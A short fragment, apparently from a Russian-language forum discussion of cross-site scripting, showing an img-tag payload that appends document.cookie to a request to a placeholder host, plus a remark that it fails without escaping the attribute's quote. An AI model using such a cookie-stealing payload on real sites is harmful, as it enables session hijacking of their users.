<img src="http://example/?"+document.cookie>

если ты имеешь ввиду не выходя за кавычку, то так не получится